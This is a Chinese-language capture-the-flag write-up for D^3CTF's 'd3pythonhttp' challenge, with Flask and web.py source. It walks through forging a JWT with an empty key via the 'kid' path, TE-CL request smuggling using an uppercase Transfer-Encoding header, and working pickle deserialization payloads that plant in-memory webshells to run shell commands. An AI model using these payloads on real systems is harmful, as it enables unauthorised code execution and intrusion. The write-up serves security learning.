当前位置:   article > 正文

【Web】D^3CTF之浅聊d3pythonhttp——TE-CL请求走私_d3pythonhttp wp

d3pythonhttp wp

目录

step0 题目信息 

step1 jwt空密钥伪造 

step1.5 有关TE&CL的lab

step2 TE-CL请求走私

payload1

payload2


step0 题目信息 

注意到题目源码前端是flask写的,后端是web.py写的

frontend

  1. from flask import Flask, request, redirect, render_template_string, make_response
  2. import jwt
  3. import json
  4. import http.client
  5. app = Flask(__name__)
  6. login_form = """
  7. <form method="post">
  8. Username: <input type="text" name="username"><br>
  9. Password: <input type="password" name="password"><br>
  10. <input type="submit" value="Login">
  11. </form>
  12. """
  13. @app.route('/', methods=['GET'])
  14. def index():
  15. token = request.cookies.get('token')
  16. if token and verify_token(token):
  17. return "Hello " + jwt.decode(token, algorithms=["HS256"], options={"verify_signature": False})["username"]
  18. else:
  19. return redirect("/login", code=302)
  20. @app.route('/login', methods=['GET', 'POST'])
  21. def login():
  22. if request.method == "POST":
  23. user_info = {"username": request.form["username"], "isadmin": False}
  24. key = get_key("frontend_key")
  25. token = jwt.encode(user_info, key, algorithm="HS256", headers={"kid": "frontend_key"})
  26. resp = make_response(redirect("/", code=302))
  27. resp.set_cookie("token", token)
  28. return resp
  29. else:
  30. return render_template_string(login_form)
  31. @app.route('/backend', methods=['GET', 'POST'])
  32. def proxy_to_backend():
  33. forward_url = "python-backend:8080"
  34. conn = http.client.HTTPConnection(forward_url)
  35. method = request.method
  36. headers = {key: value for (key, value) in request.headers if key != "Host"}
  37. data = request.data
  38. path = "/"
  39. if request.query_string:
  40. path += "?" + request.query_string.decode()
  41. conn.request(method, path, body=data, headers=headers)
  42. response = conn.getresponse()
  43. return response.read()
  44. @app.route('/admin', methods=['GET', 'POST'])
  45. def admin():
  46. token = request.cookies.get('token')
  47. if token and verify_token(token):
  48. if request.method == 'POST':
  49. if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
  50. forward_url = "python-backend:8080"
  51. conn = http.client.HTTPConnection(forward_url)
  52. method = request.method
  53. headers = {key: value for (key, value) in request.headers if key != 'Host'}
  54. data = request.data
  55. path = "/"
  56. if request.query_string:
  57. path += "?" + request.query_string.decode()
  58. if headers.get("Transfer-Encoding", "").lower() == "chunked":
  59. data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
  60. if "BackdoorPasswordOnlyForAdmin" not in data:
  61. return "You are not an admin!"
  62. conn.request(method, "/backdoor", body=data, headers=headers)
  63. return "Done!"
  64. else:
  65. return "You are not an admin!"
  66. else:
  67. if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
  68. return "Welcome admin!"
  69. else:
  70. return "You are not an admin!"
  71. else:
  72. return redirect("/login", code=302)
  73. def get_key(kid):
  74. key = ""
  75. dir = "/app/"
  76. try:
  77. with open(dir+kid, "r") as f:
  78. key = f.read()
  79. except:
  80. pass
  81. print(key)
  82. return key
  83. def verify_token(token):
  84. header = jwt.get_unverified_header(token)
  85. kid = header["kid"]
  86. key = get_key(kid)
  87. try:
  88. payload = jwt.decode(token, key, algorithms=["HS256"])
  89. return True
  90. except:
  91. return False
  92. if __name__ == "__main__":
  93. app.run(host = "0.0.0.0", port = 8081, debug=False)

backend

  1. import web
  2. import pickle
  3. import base64
  4. urls = (
  5. '/', 'index',
  6. '/backdoor', 'backdoor'
  7. )
  8. web.config.debug = False
  9. app = web.application(urls, globals())
  10. class index:
  11. def GET(self):
  12. return "welcome to the backend!"
  13. class backdoor:
  14. def POST(self):
  15. data = web.data()
  16. # fix this backdoor
  17. if b"BackdoorPasswordOnlyForAdmin" in data:
  18. return "You are an admin!"
  19. else:
  20. data = base64.b64decode(data)
  21. pickle.loads(data)
  22. return "Done!"
  23. if __name__ == "__main__":
  24. app.run()

step1 jwt空密钥伪造 

jwt解密的过程是去jwttoken的header中取kid字段,然后对其拼接/app/得到文件路径,但我们不知道secretkey在哪个文件中,这里只要指定一个不存在的文件名就可以用空密钥去解密

且后续也不会去验证签名的合法性 

 

指定一个加密的空密钥,再把取解密密钥的路径置空 

 

带着token去访问./admin,发现成功伪造

 拿到admin之后我们就可以去请求后端 /backdoor 接口

要访问 /backdoor 接口,请求体要有 BackdoorPasswordOnlyForAdmin ,但后端想要执行pickle反序列化又不能有这段字符串,二者显然矛盾

 

 

step1.5 有关TE&CL的lab

我们可以实验下,请求头中有Transfer-Encoding时服务器接收的数据是怎样的

  1. from flask import Flask, request
  2. app = Flask(__name__)
  3. @app.route('/admin', methods=['GET', 'POST'])
  4. def admin():
  5. if request.method == 'POST':
  6. data1 = request.data
  7. print("这是前端接收到的数据")
  8. print(data1)
  9. data2 = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data1))[2:], data1.decode())
  10. print("这是前端向后端发的数据")
  11. print(data2)
  12. if __name__ == "__main__":
  13. app.run(host = "0.0.0.0", port = 8081, debug=False)

bp发包的时候记得把repeater的Update content length关掉

(从上图bp发包可以看到,当Transfer-Encoding和Content-Length共存的时候,flask会优先按TE去解析,哪怕CL长度为1也不影响)

 

本地起的服务成功打印出接收的data,就是将我们传的分块数据进行了一个拼接 

向后端传的data,b8=9c+1c,就是进行了一个TE的格式化处理

至于后端接收的原始数据(暂时忽略Content-Length),显然就是

gANjYnVpbHRpbnMKZXZhbApxAFhUAAAAYXBwLmFkZF9wcm9jZXNzb3IoKGxhbWJkYSBzZWxmIDogX19pbXBvcnRfXygnb3MnKS5wb3BlbignY2F0IC9TZWNyM1RfRmxhZycpLnJlYWQoKSkpcQGFcQJScQMuBackdoorPasswordOnlyForAdmin

不作赘述

step2 TE-CL请求走私

于是就来到了本题的重头戏:浅谈HTTP请求走私

 考虑前后端对HTTP报文的解析差异

 后端web.py的web.data()对传入data有这样一段处理

就是说Transfer-Encoding 不为 chunked 就会走CL解析,这里可以用大写绕过chunked

前端flask对请求头的Transfer-Encoding判断时有一个小写的处理,这说明flask底层处理http报文不会将其转小写(否则就是多此一举),因而传往后端的headers中Transfer-Encoding仍然是大写的,这也就支持了上述绕过。

走过判断后,又对data手动进行了一个分块传输的格式处理

 

 

伪造一个恶意CL长度,就可以实现将特定的某一段字符传入后端(BackdoorPasswordOnlyForAdmin之前字符的长度。后端不会接收到,但是前端可以),这样一来就绕过了对于BackdoorPasswordOnlyForAdmin的检测,进行pickle反序列化,靶机不出网,可以结合web.py的add_processor方法注内存马(就是在访问路由后执行lambda表达式命令)

payload1

  1. import pickle
  2. import base64
  3. class A(object):
  4. def __reduce__(self):
  5. return (eval, ("app.add_processor((lambda self : __import__('os').popen('cat /Secr3T_Flag').read()))",))
  6. a = A()
  7. a = pickle.dumps(a)
  8. print(base64.b64encode(a))

Content-Length就是base64编码的长度

打入后直接访问/backend路由即可命令执行 

payload2

用pker生成opcode再转base64

GitHub - EddieIvan01/pker: Automatically converts Python source code to Pickle opcode

 exp.py

  1. getattr = GLOBAL('builtins', 'getattr')
  2. dict = GLOBAL('builtins', 'dict')
  3. dict_get = getattr(dict, 'get')
  4. globals = GLOBAL('builtins', 'globals')
  5. builtins = globals()
  6. a = dict_get(builtins, '__builtins__')
  7. exec = getattr(a, 'exec')
  8. exec('index.GET = lambda self:__import__("os").popen(web.input().cmd).read()')
  9. return

python3 pker.py < exp.py | base64 -w 0

改一下Content-Length 

访问./backend?cmd=cat /Secr3T_Flag

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/繁依Fanyi0/article/detail/547705
推荐阅读
相关标签
  

闽ICP备14008679号